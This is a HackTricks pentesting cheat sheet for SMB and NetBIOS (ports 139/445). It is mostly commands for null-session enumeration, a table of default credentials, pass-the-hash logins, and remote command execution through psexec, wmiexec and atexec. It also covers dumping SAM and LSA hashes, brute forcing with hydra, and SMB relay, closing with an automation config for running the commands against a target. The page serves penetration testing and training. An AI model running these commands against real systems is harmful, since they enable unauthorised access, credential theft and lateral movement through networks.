Comment on page
139,445 - Pentesting SMB
Do you use Hacktricks every day? Did you find the book very useful? Would you like to receive extra help with cybersecurity questions? Would you like to find more and higher quality content on Hacktricks?
Support Hacktricks through github sponsors so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!
If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the 💬telegram group, or follow me on Twitter 🐦@carlospolopm.
If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book and don't forget to give ⭐ on github to motivate me to continue developing this book.
NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP. (extracted from here)
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
From book Network Security Assessment 3rd edition
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
- Operating system information
- Details of the parent domain
- A list of local users and groups
- Details of available SMB shares
- The effective system security policy
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about NTLM where is explained how this protocol works and how you can take advantage of it.
nbtscan -r 192.168.0.1/24
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
- Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
- **_Or this script**:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
Username(s) | Common passwords |
(blank) | (blank) |
guest | (blank) |
Administrator, admin | (blank), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
Pat of this section was extracted from book "Network Security Assesment 3rd Edition"
You can use the Samba
rpcclient utility to interact with RPC endpoints via named pipes. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon establishing a SMB session (often requiring credentials).- List users:
querydispinfoandenumdomusers - Get user details:
queryuser <0xrid> - Get user groups:
queryusergroups <0xrid> - GET SID of a user:
lookupnames <username> - Get users aliases:
queryuseraliases [builtin|domain] <sid>
- List groups:
enumdomgroups - Get group details:
querygroup <0xrid> - Get group members:
querygroupmem <0xrid>
- List alias:
enumalsgroups <builtin|domain> - Get members:
queryaliasmem builtin|domain <0xrid>
- List domains:
enumdomains - Get SID:
lsaquery - Domain info:
querydominfo
- Find SIDs by name:
lookupnames <username> - Find more SIDs:
lsaenumsid - RID cycling (check more SIDs):
lookupsids <sid>
Command | Interface | Description |
queryuser | SAMR | Retrieve user information |
querygroup | Retrieve group information | |
querydominfo | Retrieve domain information | |
enumdomusers | Enumerate domain users | |
enumdomgroups | Enumerate domain groups | |
createdomuser | Create a domain user | |
deletedomuser | Delete a domain user | |
lookupnames | LSARPC | |
lookupsids | | |
lsaaddacctrights | Add rights to a user account | |
lsaremoveacctrights | Remove rights from a user account | |
dsroledominfo | LSARPC-DS | Get primary domain information |
dsenumdomtrusts | Enumerate trusted domains within an AD forest | |
xdg-open smb://cascade.htb/smb://friendzone.htb/general/It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Common share names from Network Security Assessment 3rd edition)
You can try to connect to them by using the following command
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
or this script (using a null session)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
examples
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Commands:
- mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
- recurse: toggles recursion on (default: off)
- prompt: toggles prompting for filenames off (default: on)
- mget: copies all files matching the mask from host to client machine
(Information from the manpage of smbclient)
You may be able to read the registry using some discovered credentials. Impacket
reg.py allows you to try:sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/[email protected] -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Enumerate local users with SID brute-forcing:
With
Impacket:lookupsid.py -no-pass hostname.local
With
Metasploit:use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
Note:
rpcclient command lookupsids only translates a SID to a username but doesn't allow enumeration via brute-forcing.You can authenticate to kerberos using the tools smbclient and rpcclient:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter
--exec-method:apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> [email protected] #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
Using parameter
-k you can authenticate against kerberos instead of NTLMStealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT [email protected] #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Using parameter
-k you can authenticate against kerberos instead of NTLM#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> [email protected] #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> [email protected] "whoami"
This is not recommended, you could block an account if you exceed the maximum allowed tries
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example:
img src="\\10.10.10.10\path\image.jpg"This happens with the funcions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html
From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient -h "\\\\{IP}\\\" -U {Domain_Name} -W {Username} -l {IP}
smbclient -h "\\\\{IP}\\\" -U {Domain_Name} -W {Username} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Desctiption: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb